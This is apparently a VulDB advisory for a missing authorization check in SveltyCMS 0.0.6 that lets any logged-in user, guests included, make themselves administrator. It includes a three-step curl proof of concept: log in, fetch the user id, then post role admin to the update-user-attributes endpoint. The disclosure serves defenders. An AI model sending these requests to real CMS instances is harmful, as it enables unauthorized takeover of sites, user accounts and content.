| 标题 | SveltyCMS 0.0.6 Improper Access Controls |
|---|
| 描述 | Summary
A missing authorization check in the user-attribute update endpoint allows any authenticated low-privileged user (including guests) to change their own role to administrator, gaining full control of the CMS.
Details
POST /api/auth/update-user-attributes is auto-permitted for any authenticated user by the API dispatcher (src/routes/api/[...path]/+server.ts) and writes whatever fields the caller supplies — including role and isAdmin. Users can call the API to assign administrator privileges to their own account.
PoC
Authenticate to the API as a guest user
curl -s -c /tmp/low.jar -H 'Content-Type: application/json'
-d '{"email":"lowprivilegeemail","password":"guestuserpassword"}'
http://127.0.0.1:5173/api/auth/login
Get your own user id
curl -s -b /tmp/low.jar http://127.0.0.1:5173/api/auth/me # copy "_id" into $LOW_ID
Promote yourself to admin
curl -s -b /tmp/low.jar -H 'Content-Type: application/json'
-H 'Origin: http://127.0.0.1:5173'
-d "{"user_id":"$LOW_ID","role":"admin","isAdmin":true}"
http://127.0.0.1:5173/api/auth/update-user-attributes
Log out and log back in to the UI to verify that your guest user is now an administrator.
Impact
Full account-to-admin takeover by any authenticated user with no interaction from an administrator. Complete compromise of content, users, and configuration. |
|---|
| 来源 | ⚠️ https://github.com/SveltyCMS/SveltyCMS/commit/05b4f9efeb79e9d72a693232334d7529687f896f |
|---|
| 用户 | HLever (UID 100450) |
|---|
| 提交 | 2026-08-22 00時15分 (28 日前) |
|---|
| 管理 | 2026-09-18 10時26分 (27 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 407421 [SveltyCMS 0.0.6 User Attribute Update Endpoint +server.ts 权限提升] |
|---|
| 积分 | 20 |
|---|